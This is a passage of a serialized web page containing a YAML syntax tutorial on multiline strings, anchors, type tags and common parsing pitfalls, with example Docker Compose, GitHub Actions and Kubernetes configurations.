(quoted)\n",[143,232986,232987,232992,233004,233017],{"__ignoreMap":141},[1560,232988,232989],{"class":1562,"line":1563},[1560,232990,232991],{"class":1649},"# YAML 1.1 treats these as booleans!\n",[1560,232993,232994,232997,232999,233001],{"class":1562,"line":337},[1560,232995,232996],{"class":2484},"feature_flag",[1560,232998,1663],{"class":1570},[1560,233000,147110],{"class":5634},[1560,233002,233003],{"class":1649},"      # String (quoted)\n",[1560,233005,233006,233009,233011,233014],{"class":1562,"line":343},[1560,233007,233008],{"class":2484},"auto_save",[1560,233010,1663],{"class":1570},[1560,233012,233013],{"class":5634},"\"no\"",[1560,233015,233016],{"class":1649},"         # String (quoted)\n",[1560,233018,233019,233022,233024,233026],{"class":1562,"line":365},[1560,233020,233021],{"class":2484},"answer",[1560,233023,1663],{"class":1570},[1560,233025,153153],{"class":5634},[1560,233027,233028],{"class":1649},"           # String (quoted)\n",[11,233030,233032],{"id":233031},"multiline-strings","Multiline Strings",[16,233034,233035],{},"YAML gives you two operators for multiline content — and choosing the wrong one changes your output.",[33,233037,233039,233040,1525],{"id":233038},"literal-block","Literal Block (",[143,233041,7334],{},[16,233043,233044],{},"Preserves newlines exactly as written:",[135,233046,233048],{"className":37227,"code":233047,"language":37229,"meta":141,"style":141},"message: |\n  Line one\n  Line two\n  Line three\n",[143,233049,233050,233060,233065,233070],{"__ignoreMap":141},[1560,233051,233052,233055,233057],{"class":1562,"line":1563},[1560,233053,233054],{"class":2484},"message",[1560,233056,1663],{"class":1570},[1560,233058,233059],{"class":1669},"|\n",[1560,233061,233062],{"class":1562,"line":337},[1560,233063,233064],{"class":5634},"  Line one\n",[1560,233066,233067],{"class":1562,"line":343},[1560,233068,233069],{"class":5634},"  Line two\n",[1560,233071,233072],{"class":1562,"line":365},[1560,233073,233074],{"class":5634},"  Line three\n",[16,233076,114846,233077,233080],{},[143,233078,233079],{},"\"Line one\\nLine two\\nLine three\\n\""," — note the trailing newline.",[33,233082,233084,233085,1525],{"id":233083},"folded-block","Folded Block (",[143,233086,28226],{},[16,233088,233089],{},"Converts newlines to spaces (paragraph style):",[135,233091,233093],{"className":37227,"code":233092,"language":37229,"meta":141,"style":141},"message: >\n  This is a long paragraph\n  that wraps across multiple\n  lines in the YAML file.\n",[143,233094,233095,233103,233108,233113],{"__ignoreMap":141},[1560,233096,233097,233099,233101],{"class":1562,"line":1563},[1560,233098,233054],{"class":2484},[1560,233100,1663],{"class":1570},[1560,233102,6441],{"class":1669},[1560,233104,233105],{"class":1562,"line":337},[1560,233106,233107],{"class":5634},"  This is a long paragraph\n",[1560,233109,233110],{"class":1562,"line":343},[1560,233111,233112],{"class":5634},"  that wraps across multiple\n",[1560,233114,233115],{"class":1562,"line":365},[1560,233116,233117],{"class":5634},"  lines in the YAML file.\n",[16,233119,114846,233120],{},[143,233121,233122],{},"\"This is a long paragraph that wraps across multiple lines in the YAML file.\\n\"",[33,233124,1124],{"id":1123},[193,233126,233127,233141],{},[196,233128,233129],{},[199,233130,233131,233133,233136,233139],{},[202,233132,25606],{},[202,233134,233135],{},"Newlines",[202,233137,233138],{},"Trailing newline",[202,233140,161305],{},[211,233142,233143,233156,233170,233186,233200],{},[199,233144,233145,233149,233151,233153],{},[216,233146,233147],{},[143,233148,7334],{},[216,233150,135020],{},[216,233152,3057],{},[216,233154,233155],{},"Code blocks, logs, scripts",[199,233157,233158,233163,233165,233168],{},[216,233159,233160],{},[143,233161,233162],{},"|+",[216,233164,135020],{},[216,233166,233167],{},"Yes (extra kept)",[216,233169,124670],{},[199,233171,233172,233177,233179,233181],{},[216,233173,233174],{},[143,233175,233176],{},"|-",[216,233178,135020],{},[216,233180,6117],{},[216,233182,233183,233184],{},"Templates, code without trailing ",[143,233185,8222],{},[199,233187,233188,233192,233195,233197],{},[216,233189,233190],{},[143,233191,28226],{},[216,233193,233194],{},"Folded to spaces",[216,233196,3057],{},[216,233198,233199],{},"Prose, descriptions",[199,233201,233202,233207,233209,233211],{},[216,233203,233204],{},[143,233205,233206],{},">-",[216,233208,233194],{},[216,233210,6117],{},[216,233212,233213,233214],{},"Paragraphs without trailing ",[143,233215,8222],{},[11,233217,233219],{"id":233218},"anchors-and-aliases","Anchors and Aliases",[16,233221,232583,233222,233224,233225,233227,233228,233230],{},[143,233223,232586],{},") define a reusable fragment. Aliases (",[143,233226,232590],{},") reference it. The merge key (",[143,233229,13487],{},") injects an anchor's content into a mapping:",[135,233232,233234],{"className":37227,"code":233233,"language":37229,"meta":141,"style":141},"default_config: &default\n  timeout: 30\n  retries: 3\n  verbose: false\n\n# Merge defaults and override specific values\ndevelopment:\n  \u003C\u003C: *default\n  verbose: true\n\nproduction:\n  \u003C\u003C: *default\n  timeout: 60\n  retries: 10\n",[143,233235,233236,233248,233256,233264,233273,233277,233282,233289,233299,233307,233311,233317,233327,233335],{"__ignoreMap":141},[1560,233237,233238,233241,233243,233245],{"class":1562,"line":1563},[1560,233239,233240],{"class":2484},"default_config",[1560,233242,1663],{"class":1570},[1560,233244,13530],{"class":1669},[1560,233246,233247],{"class":1566},"default\n",[1560,233249,233250,233252,233254],{"class":1562,"line":337},[1560,233251,137779],{"class":2484},[1560,233253,1663],{"class":1570},[1560,233255,137784],{"class":1576},[1560,233257,233258,233260,233262],{"class":1562,"line":343},[1560,233259,137789],{"class":2484},[1560,233261,1663],{"class":1570},[1560,233263,137794],{"class":1576},[1560,233265,233266,233269,233271],{"class":1562,"line":365},[1560,233267,233268],{"class":2484},"  verbose",[1560,233270,1663],{"class":1570},[1560,233272,37132],{"class":1576},[1560,233274,233275],{"class":1562,"line":889},[1560,233276,1702],{"emptyLinePlaceholder":363},[1560,233278,233279],{"class":1562,"line":1710},[1560,233280,233281],{"class":1649},"# Merge defaults and override specific values\n",[1560,233283,233284,233287],{"class":1562,"line":1717},[1560,233285,233286],{"class":2484},"development",[1560,233288,19182],{"class":1570},[1560,233290,233291,233293,233295,233297],{"class":1562,"line":1747},[1560,233292,137819],{"class":1576},[1560,233294,1663],{"class":1570},[1560,233296,8069],{"class":1669},[1560,233298,233247],{"class":1570},[1560,233300,233301,233303,233305],{"class":1562,"line":2507},[1560,233302,233268],{"class":2484},[1560,233304,1663],{"class":1570},[1560,233306,23527],{"class":1576},[1560,233308,233309],{"class":1562,"line":2524},[1560,233310,1702],{"emptyLinePlaceholder":363},[1560,233312,233313,233315],{"class":1562,"line":2529},[1560,233314,137812],{"class":2484},[1560,233316,19182],{"class":1570},[1560,233318,233319,233321,233323,233325],{"class":1562,"line":2534},[1560,233320,137819],{"class":1576},[1560,233322,1663],{"class":1570},[1560,233324,8069],{"class":1669},[1560,233326,233247],{"class":1570},[1560,233328,233329,233331,233333],{"class":1562,"line":2542},[1560,233330,137779],{"class":2484},[1560,233332,1663],{"class":1570},[1560,233334,137834],{"class":1576},[1560,233336,233337,233339,233341],{"class":1562,"line":2558},[1560,233338,137789],{"class":2484},[1560,233340,1663],{"class":1570},[1560,233342,90870],{"class":1576},[16,233344,233345],{},[47,233346,44225],{},[41,233348,233349,233352,233355,233358],{},[44,233350,233351],{},"Anchors work within a single file only.",[44,233353,233354],{},"You can override merged values by listing them after the merge key.",[44,233356,233357],{},"Aliases cannot create circular references.",[44,233359,233360],{},"When converting YAML to JSON, all anchors expand inline — the deduplication is lost.",[11,233362,233364],{"id":233363},"explicit-type-tags","Explicit Type Tags",[16,233366,233367,233368,233371],{},"YAML lets you force a specific type with ",[143,233369,233370],{},"!!"," tags:",[135,233373,233375],{"className":37227,"code":233374,"language":37229,"meta":141,"style":141},"count: !!int \"42\"          # Integer 42\nprice: !!float \"9.99\"      # Float 9.99\nflag: !!bool \"yes\"         # Boolean true\nlabel: !!str 123           # String \"123\"\nempty: !!null \"\"           # null\ntimestamp: !!timestamp \"2026-01-15\"\n",[143,233376,233377,233392,233407,233423,233439,233455],{"__ignoreMap":141},[1560,233378,233379,233381,233383,233386,233389],{"class":1562,"line":1563},[1560,233380,110866],{"class":2484},[1560,233382,1663],{"class":1570},[1560,233384,233385],{"class":1669},"!!int",[1560,233387,233388],{"class":5634}," \"42\"",[1560,233390,233391],{"class":1649},"          # Integer 42\n",[1560,233393,233394,233396,233398,233401,233404],{"class":1562,"line":337},[1560,233395,134545],{"class":2484},[1560,233397,1663],{"class":1570},[1560,233399,233400],{"class":1669},"!!float",[1560,233402,233403],{"class":5634}," \"9.99\"",[1560,233405,233406],{"class":1649},"      # Float 9.99\n",[1560,233408,233409,233412,233414,233417,233420],{"class":1562,"line":343},[1560,233410,233411],{"class":2484},"flag",[1560,233413,1663],{"class":1570},[1560,233415,233416],{"class":1669},"!!bool",[1560,233418,233419],{"class":5634}," \"yes\"",[1560,233421,233422],{"class":1649},"         # Boolean true\n",[1560,233424,233425,233428,233430,233433,233436],{"class":1562,"line":365},[1560,233426,233427],{"class":2484},"label",[1560,233429,1663],{"class":1570},[1560,233431,233432],{"class":1669},"!!str",[1560,233434,233435],{"class":1576}," 123",[1560,233437,233438],{"class":1649},"           # String \"123\"\n",[1560,233440,233441,233444,233446,233449,233452],{"class":1562,"line":889},[1560,233442,233443],{"class":2484},"empty",[1560,233445,1663],{"class":1570},[1560,233447,233448],{"class":1669},"!!null",[1560,233450,233451],{"class":5634}," \"\"",[1560,233453,233454],{"class":1649},"           # null\n",[1560,233456,233457,233460,233462,233465],{"class":1562,"line":1710},[1560,233458,233459],{"class":2484},"timestamp",[1560,233461,1663],{"class":1570},[1560,233463,233464],{"class":1669},"!!timestamp",[1560,233466,233467],{"class":5634}," \"2026-01-15\"\n",[16,233469,233470],{},"Use type tags when the inferred type is wrong or ambiguous. They are especially helpful for values that YAML might misparse.",[11,233472,10393],{"id":10392},[33,233474,233476],{"id":233475},"_1-indentation-errors","1. Indentation Errors",[16,233478,233479],{},"YAML is picky about indentation. Mixing spaces and tabs, or using inconsistent depths, causes parse errors:",[135,233481,233483],{"className":37227,"code":233482,"language":37229,"meta":141,"style":141},"# WRONG — mixed indentation\nserver:\n  port: 3000\n    host: localhost    # Tab here — parser error!\n\n# RIGHT — consistent 2-space indentation\nserver:\n  port: 3000\n  host: localhost\n",[143,233484,233485,233490,233496,233504,233516,233520,233525,233531,233539],{"__ignoreMap":141},[1560,233486,233487],{"class":1562,"line":1563},[1560,233488,233489],{"class":1649},"# WRONG — mixed indentation\n",[1560,233491,233492,233494],{"class":1562,"line":337},[1560,233493,137574],{"class":2484},[1560,233495,19182],{"class":1570},[1560,233497,233498,233500,233502],{"class":1562,"line":343},[1560,233499,37253],{"class":2484},[1560,233501,1663],{"class":1570},[1560,233503,37258],{"class":1576},[1560,233505,233506,233509,233511,233513],{"class":1562,"line":365},[1560,233507,233508],{"class":2484},"    host",[1560,233510,1663],{"class":1570},[1560,233512,154462],{"class":5634},[1560,233514,233515],{"class":1649},"    # Tab here — parser error!\n",[1560,233517,233518],{"class":1562,"line":889},[1560,233519,1702],{"emptyLinePlaceholder":363},[1560,233521,233522],{"class":1562,"line":1710},[1560,233523,233524],{"class":1649},"# RIGHT — consistent 2-space indentation\n",[1560,233526,233527,233529],{"class":1562,"line":1717},[1560,233528,137574],{"class":2484},[1560,233530,19182],{"class":1570},[1560,233532,233533,233535,233537],{"class":1562,"line":1747},[1560,233534,37253],{"class":2484},[1560,233536,1663],{"class":1570},[1560,233538,37258],{"class":1576},[1560,233540,233541,233543,233545],{"class":1562,"line":2507},[1560,233542,37288],{"class":2484},[1560,233544,1663],{"class":1570},[1560,233546,37293],{"class":5634},[16,233548,233549,233551],{},[47,233550,118614],{}," Configure your editor to convert tabs to spaces. Set the indent size to 2.",[33,233553,233555],{"id":233554},"_2-unquoted-special-characters","2. Unquoted Special Characters",[16,233557,233558,233559,1459,233561,1459,233563,1459,233565,1459,233567,1459,233569,1459,233571,1459,233573,1459,233575,1459,233577,1459,233579,1459,233581,1459,233583,1459,233585,1459,233587,1459,233589,1459,233591,1459,233593,1877,233595,233597],{},"Strings containing ",[143,233560,8037],{},[143,233562,51622],{},[143,233564,8230],{},[143,233566,24385],{},[143,233568,131065],{},[143,233570,6858],{},[143,233572,13530],{},[143,233574,8069],{},[143,233576,6852],{},[143,233578,33994],{},[143,233580,7334],{},[143,233582,9412],{},[143,233584,6431],{},[143,233586,28226],{},[143,233588,7297],{},[143,233590,27989],{},[143,233592,17990],{},[143,233594,6849],{},[143,233596,8219],{}," must be quoted:",[135,233599,233601],{"className":37227,"code":233600,"language":37229,"meta":141,"style":141},"# WRONG — colon causes parsing issues\nurl: http:\u002F\u002Fexample.com:8080\n\n# RIGHT\nurl: \"http:\u002F\u002Fexample.com:8080\"\n",[143,233602,233603,233608,233617,233621,233626],{"__ignoreMap":141},[1560,233604,233605],{"class":1562,"line":1563},[1560,233606,233607],{"class":1649},"# WRONG — colon causes parsing issues\n",[1560,233609,233610,233612,233614],{"class":1562,"line":337},[1560,233611,11310],{"class":2484},[1560,233613,1663],{"class":1570},[1560,233615,233616],{"class":5634},"http:\u002F\u002Fexample.com:8080\n",[1560,233618,233619],{"class":1562,"line":343},[1560,233620,1702],{"emptyLinePlaceholder":363},[1560,233622,233623],{"class":1562,"line":365},[1560,233624,233625],{"class":1649},"# RIGHT\n",[1560,233627,233628,233630,233632],{"class":1562,"line":889},[1560,233629,11310],{"class":2484},[1560,233631,1663],{"class":1570},[1560,233633,233634],{"class":5634},"\"http:\u002F\u002Fexample.com:8080\"\n",[33,233636,233638],{"id":233637},"_3-tabs-instead-of-spaces","3. Tabs Instead of Spaces",[16,233640,233641],{},"YAML forbids tabs for indentation. A single tab anywhere in the indentation will produce a cryptic parse error. Configure your editor to use spaces.",[33,233643,233645],{"id":233644},"_4-boolean-coercion-pitfalls","4. Boolean Coercion Pitfalls",[16,233647,233648],{},"In YAML 1.1, many values are booleans:",[193,233650,233651,233660],{},[196,233652,233653],{},[199,233654,233655,233657],{},[202,233656,1769],{},[202,233658,233659],{},"Parsed As (YAML 1.1)",[211,233661,233662,233676,233693,233707,233721,233733],{},[199,233663,233664,233672],{},[216,233665,233666,1459,233668,1459,233670],{},[143,233667,86828],{},[143,233669,134989],{},[143,233671,154737],{},[216,233673,233674],{},[143,233675,20533],{},[199,233677,233678,233686],{},[216,233679,233680,1459,233682,1459,233684],{},[143,233681,86831],{},[143,233683,134986],{},[143,233685,154767],{},[216,233687,233688,14237,233690,233692],{},[143,233689,20533],{},[143,233691,13730],{}," varies",[199,233694,233695,233703],{},[216,233696,233697,1459,233699,1459,233701],{},[143,233698,85138],{},[143,233700,3057],{},[143,233702,154730],{},[216,233704,233705],{},[143,233706,20533],{},[199,233708,233709,233717],{},[216,233710,233711,1459,233713,1459,233715],{},[143,233712,86825],{},[143,233714,6117],{},[143,233716,154760],{},[216,233718,233719],{},[143,233720,13730],{},[199,233722,233723,233729],{},[216,233724,233725,1459,233727],{},[143,233726,164321],{},[143,233728,22042],{},[216,233730,233731],{},[143,233732,20533],{},[199,233734,233735,233741],{},[216,233736,233737,1459,233739],{},[143,233738,22610],{},[143,233740,22021],{},[216,233742,233743],{},[143,233744,13730],{},[16,233746,233747,233750,233751,1856,233753,233755],{},[47,233748,233749],{},"YAML 1.2"," (the latest spec) only recognizes ",[143,233752,20533],{},[143,233754,13730],{}," as booleans. But many parsers still use YAML 1.1 by default. Always quote ambiguous values.",[11,233757,65161],{"id":65160},[33,233759,232373],{"id":232372},[135,233761,233763],{"className":37227,"code":233762,"language":37229,"meta":141,"style":141},"services:\n  web:\n    image: nginx:latest\n    ports:\n      - \"80:80\"\n      - \"443:443\"\n    volumes:\n      - .\u002Fhtml:\u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\n    restart: unless-stopped\n\n  db:\n    image: postgres:16\n    environment:\n      POSTGRES_DB: myapp\n      POSTGRES_PASSWORD: secret\n    volumes:\n      - pgdata:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\n\nvolumes:\n  pgdata:\n",[143,233764,233765,233771,233777,233786,233792,233799,233806,233813,233820,233829,233833,233840,233849,233856,233865,233875,233881,233888,233892,233899],{"__ignoreMap":141},[1560,233766,233767,233769],{"class":1562,"line":1563},[1560,233768,232442],{"class":2484},[1560,233770,19182],{"class":1570},[1560,233772,233773,233775],{"class":1562,"line":337},[1560,233774,232449],{"class":2484},[1560,233776,19182],{"class":1570},[1560,233778,233779,233781,233783],{"class":1562,"line":343},[1560,233780,232467],{"class":2484},[1560,233782,1663],{"class":1570},[1560,233784,233785],{"class":5634},"nginx:latest\n",[1560,233787,233788,233790],{"class":1562,"line":365},[1560,233789,232477],{"class":2484},[1560,233791,19182],{"class":1570},[1560,233793,233794,233796],{"class":1562,"line":889},[1560,233795,108503],{"class":1570},[1560,233797,233798],{"class":5634},"\"80:80\"\n",[1560,233800,233801,233803],{"class":1562,"line":1710},[1560,233802,108503],{"class":1570},[1560,233804,233805],{"class":5634},"\"443:443\"\n",[1560,233807,233808,233811],{"class":1562,"line":1717},[1560,233809,233810],{"class":2484},"    volumes",[1560,233812,19182],{"class":1570},[1560,233814,233815,233817],{"class":1562,"line":1747},[1560,233816,108503],{"class":1570},[1560,233818,233819],{"class":5634},".\u002Fhtml:\u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\n",[1560,233821,233822,233825,233827],{"class":1562,"line":2507},[1560,233823,233824],{"class":2484},"    restart",[1560,233826,1663],{"class":1570},[1560,233828,232400],{"class":5634},[1560,233830,233831],{"class":1562,"line":2524},[1560,233832,1702],{"emptyLinePlaceholder":363},[1560,233834,233835,233838],{"class":1562,"line":2529},[1560,233836,233837],{"class":2484},"  db",[1560,233839,19182],{"class":1570},[1560,233841,233842,233844,233846],{"class":1562,"line":2534},[1560,233843,232467],{"class":2484},[1560,233845,1663],{"class":1570},[1560,233847,233848],{"class":5634},"postgres:16\n",[1560,233850,233851,233854],{"class":1562,"line":2542},[1560,233852,233853],{"class":2484},"    environment",[1560,233855,19182],{"class":1570},[1560,233857,233858,233861,233863],{"class":1562,"line":2558},[1560,233859,233860],{"class":2484},"      POSTGRES_DB",[1560,233862,1663],{"class":1570},[1560,233864,232313],{"class":5634},[1560,233866,233867,233870,233872],{"class":1562,"line":2570},[1560,233868,233869],{"class":2484},"      POSTGRES_PASSWORD",[1560,233871,1663],{"class":1570},[1560,233873,233874],{"class":5634},"secret\n",[1560,233876,233877,233879],{"class":1562,"line":6638},[1560,233878,233810],{"class":2484},[1560,233880,19182],{"class":1570},[1560,233882,233883,233885],{"class":1562,"line":11615},[1560,233884,108503],{"class":1570},[1560,233886,233887],{"class":5634},"pgdata:\u002Fvar\u002Flib\u002Fpostgresql\u002Fdata\n",[1560,233889,233890],{"class":1562,"line":11621},[1560,233891,1702],{"emptyLinePlaceholder":363},[1560,233893,233894,233897],{"class":1562,"line":11633},[1560,233895,233896],{"class":2484},"volumes",[1560,233898,19182],{"class":1570},[1560,233900,233901,233904],{"class":1562,"line":11638},[1560,233902,233903],{"class":2484},"  pgdata",[1560,233905,19182],{"class":1570},[33,233907,232145],{"id":232144},[135,233909,233911],{"className":37227,"code":233910,"language":37229,"meta":141,"style":141},"name: CI Pipeline\non:\n  push:\n    branches: [main]\n  pull_request:\n    branches: [main]\n\njobs:\n  test:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\u002Fcheckout@v4\n      - uses: actions\u002Fsetup-node@v4\n        with:\n          node-version: 20\n      - run: npm ci\n      - run: npm test\n",[143,233912,233913,233922,233928,233935,233946,233953,233963,233967,233973,233980,233988,233994,234004,234015,234022,234032,234042],{"__ignoreMap":141},[1560,233914,233915,233917,233919],{"class":1562,"line":1563},[1560,233916,82747],{"class":2484},[1560,233918,1663],{"class":1570},[1560,233920,233921],{"class":5634},"CI Pipeline\n",[1560,233923,233924,233926],{"class":1562,"line":337},[1560,233925,86828],{"class":1576},[1560,233927,19182],{"class":1570},[1560,233929,233930,233933],{"class":1562,"line":343},[1560,233931,233932],{"class":2484},"  push",[1560,233934,19182],{"class":1570},[1560,233936,233937,233940,233942,233944],{"class":1562,"line":365},[1560,233938,233939],{"class":2484},"    branches",[1560,233941,37187],{"class":1570},[1560,233943,8521],{"class":5634},[1560,233945,37203],{"class":1570},[1560,233947,233948,233951],{"class":1562,"line":889},[1560,233949,233950],{"class":2484},"  pull_request",[1560,233952,19182],{"class":1570},[1560,233954,233955,233957,233959,233961],{"class":1562,"line":1710},[1560,233956,233939],{"class":2484},[1560,233958,37187],{"class":1570},[1560,233960,8521],{"class":5634},[1560,233962,37203],{"class":1570},[1560,233964,233965],{"class":1562,"line":1717},[1560,233966,1702],{"emptyLinePlaceholder":363},[1560,233968,233969,233971],{"class":1562,"line":1747},[1560,233970,108472],{"class":2484},[1560,233972,19182],{"class":1570},[1560,233974,233975,233978],{"class":1562,"line":2507},[1560,233976,233977],{"class":2484},"  test",[1560,233979,19182],{"class":1570},[1560,233981,233982,233984,233986],{"class":1562,"line":2524},[1560,233983,108486],{"class":2484},[1560,233985,1663],{"class":1570},[1560,233987,108491],{"class":5634},[1560,233989,233990,233992],{"class":1562,"line":2529},[1560,233991,108496],{"class":2484},[1560,233993,19182],{"class":1570},[1560,233995,233996,233998,234000,234002],{"class":1562,"line":2534},[1560,233997,108503],{"class":1570},[1560,233999,108506],{"class":2484},[1560,234001,1663],{"class":1570},[1560,234003,108511],{"class":5634},[1560,234005,234006,234008,234010,234012],{"class":1562,"line":2542},[1560,234007,108503],{"class":1570},[1560,234009,108506],{"class":2484},[1560,234011,1663],{"class":1570},[1560,234013,234014],{"class":5634},"actions\u002Fsetup-node@v4\n",[1560,234016,234017,234020],{"class":1562,"line":2558},[1560,234018,234019],{"class":2484},"        with",[1560,234021,19182],{"class":1570},[1560,234023,234024,234027,234029],{"class":1562,"line":2570},[1560,234025,234026],{"class":2484},"          node-version",[1560,234028,1663],{"class":1570},[1560,234030,234031],{"class":1576},"20\n",[1560,234033,234034,234036,234038,234040],{"class":1562,"line":6638},[1560,234035,108503],{"class":1570},[1560,234037,108518],{"class":2484},[1560,234039,1663],{"class":1570},[1560,234041,232207],{"class":5634},[1560,234043,234044,234046,234048,234050],{"class":1562,"line":11615},[1560,234045,108503],{"class":1570},[1560,234047,108518],{"class":2484},[1560,234049,1663],{"class":1570},[1560,234051,232283],{"class":5634},[33,234053,234055],{"id":234054},"kubernetes-manifest","Kubernetes Manifest",[135,234057,234059],{"className":37227,"code":234058,"language":37229,"meta":141,"style":141},"apiVersion: apps\u002Fv1\nkind: Deployment\nmetadata:\n  name: myapp\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: myapp\n  template:\n    metadata:\n      labels:\n        app: myapp\n    spec:\n      containers:\n        - name: myapp\n          image: myapp:1.0.0\n          ports:\n            - containerPort: 3000\n",[143,234060,234061,234070,234080,234087,234095,234102,234111,234118,234125,234134,234141,234148,234155,234164,234171,234178,234189,234199,234206],{"__ignoreMap":141},[1560,234062,234063,234065,234067],{"class":1562,"line":1563},[1560,234064,232087],{"class":2484},[1560,234066,1663],{"class":1570},[1560,234068,234069],{"class":5634},"apps\u002Fv1\n",[1560,234071,234072,234075,234077],{"class":1562,"line":337},[1560,234073,234074],{"class":2484},"kind",[1560,234076,1663],{"class":1570},[1560,234078,234079],{"class":5634},"Deployment\n",[1560,234081,234082,234085],{"class":1562,"line":343},[1560,234083,234084],{"class":2484},"metadata",[1560,234086,19182],{"class":1570},[1560,234088,234089,234091,234093],{"class":1562,"line":365},[1560,234090,37243],{"class":2484},[1560,234092,1663],{"class":1570},[1560,234094,232313],{"class":5634},[1560,234096,234097,234100],{"class":1562,"line":889},[1560,234098,234099],{"class":2484},"spec",[1560,234101,19182],{"class":1570},[1560,234103,234104,234107,234109],{"class":1562,"line":1710},[1560,234105,234106],{"class":2484},"  replicas",[1560,234108,1663],{"class":1570},[1560,234110,137794],{"class":1576},[1560,234112,234113,234116],{"class":1562,"line":1717},[1560,234114,234115],{"class":2484},"  selector",[1560,234117,19182],{"class":1570},[1560,234119,234120,234123],{"class":1562,"line":1747},[1560,234121,234122],{"class":2484},"    matchLabels",[1560,234124,19182],{"class":1570},[1560,234126,234127,234130,234132],{"class":1562,"line":2507},[1560,234128,234129],{"class":2484},"      app",[1560,234131,1663],{"class":1570},[1560,234133,232313],{"class":5634},[1560,234135,234136,234139],{"class":1562,"line":2524},[1560,234137,234138],{"class":2484},"  template",[1560,234140,19182],{"class":1570},[1560,234142,234143,234146],{"class":1562,"line":2529},[1560,234144,234145],{"class":2484},"    metadata",[1560,234147,19182],{"class":1570},[1560,234149,234150,234153],{"class":1562,"line":2534},[1560,234151,234152],{"class":2484},"      labels",[1560,234154,19182],{"class":1570},[1560,234156,234157,234160,234162],{"class":1562,"line":2542},[1560,234158,234159],{"class":2484},"        app",[1560,234161,1663],{"class":1570},[1560,234163,232313],{"class":5634},[1560,234165,234166,234169],{"class":1562,"line":2558},[1560,234167,234168],{"class":2484},"    spec",[1560,234170,19182],{"class":1570},[1560,234172,234173,234176],{"class":1562,"line":2570},[1560,234174,234175],{"class":2484},"      containers",[1560,234177,19182],{"class":1570},[1560,234179,234180,234183,234185,234187],{"class":1562,"line":6638},[1560,234181,234182],{"class":1570},"        - ",[1560,234184,82747],{"class":2484},[1560,234186,1663],{"class":1570},[1560,234188,232313],{"class":5634},[1560,234190,234191,234194,234196],{"class":1562,"line":11615},[1560,234192,234193],{"class":2484},"          image",[1560,234195,1663],{"class":1570},[1560,234197,234198],{"class":5634},"myapp:1.0.0\n",[1560,234200,234201,234204],{"class":1562,"line":11621},[1560,234202,234203],{"class":2484},"          ports",[1560,234205,19182],{"class":1570},[1560,234207,234208,234211,234214,234216],{"class":1562,"line":11633},[1560,234209,234210],{"class":1570},"            - ",[1560,234212,234213],{"class":2484},"containerPort",[1560,234215,1663],{"class":1570},[1560,234217,37258],{"class":1576},[11,234219,1355],{"id":1354},[41,234221,234222,234225,234228,234236,234243,234255],{},[44,234223,234224],{},"Use consistent 2-space indentation — never tabs.",[44,234226,234227],{},"Quote strings containing colons, special characters, or boolean-like values.",[44,234229,1388,234230,234232,234233,234235],{},[143,234231,7334],{}," to preserve newlines, ",[143,234234,28226],{}," to fold them into spaces.",[44,234237,232583,234238,137754,234240,234242],{},[143,234239,13530],{},[143,234241,8069],{},") reduce repetition in large configs.",[44,234244,234245,234246,1459,234248,1459,234250,1459,234252,234254],{},"Beware YAML 1.1 boolean coercion — ",[143,234247,85138],{},[143,234249,86825],{},[143,234251,86828],{},[143,234253,86831],{}," are not strings.",[44,234256,234257],{},"Always validate your YAML files before deploying.",[11,234259,286],{"id":285},[16,234261,234262],{},"Want to validate or convert your YAML? Try this tool:",[41,234264,234265],{},[44,234266,234267,234269],{},[98,234268,37770],{"href":37769}," — Convert between JSON and YAML formats instantly",[11,234271,321],{"id":320},[41,234273,234274,234279],{},[44,234275,234276,234278],{},[98,234277,37788],{"href":37787}," — Compare both formats side by side with a decision tree",[44,234280,234281,234283],{},[98,234282,138094],{"href":37817}," — Compare JSON, YAML, TOML, and INI for your next project",[2043,234285,234286],{},"html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":234288},[234289,234290,234295,234296,234303,234304,234305,234311,234316,234317,234318],{"id":232675,"depth":337,"text":232676},{"id":232689,"depth":337,"text":232690,"children":234291},[234292,234293,234294],{"id":232693,"depth":343,"text":232694},{"id":147895,"depth":343,"text":147896},{"id":232802,"depth":343,"text":232803},{"id":232861,"depth":337,"text":232862},{"id":233031,"depth":337,"text":233032,"children":234297},[234298,234300,234302],{"id":233038,"depth":343,"text":234299},"Literal Block (|)",{"id":233083,"depth":343,"text":234301},"Folded Block (>)",{"id":1123,"depth":343,"text":1124},{"id":233218,"depth":337,"text":233219},{"id":233363,"depth":337,"text":233364},{"id":10392,"depth":337,"text":10393,"children":234306},[234307,234308,234309,234310],{"id":233475,"depth":343,"text":233476},{"id":233554,"depth":343,"text":233555},{"id":233637,"depth":343,"text":233638},{"id":233644,"depth":343,"text":233645},{"id":65160,"depth":337,"text":65161,"children":234312},[234313,234314,234315],{"id":232372,"depth":343,"text":232373},{"id":232144,"depth":343,"text":232145},{"id":234054,"depth":343,"text":234055},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn YAML syntax — scalars, 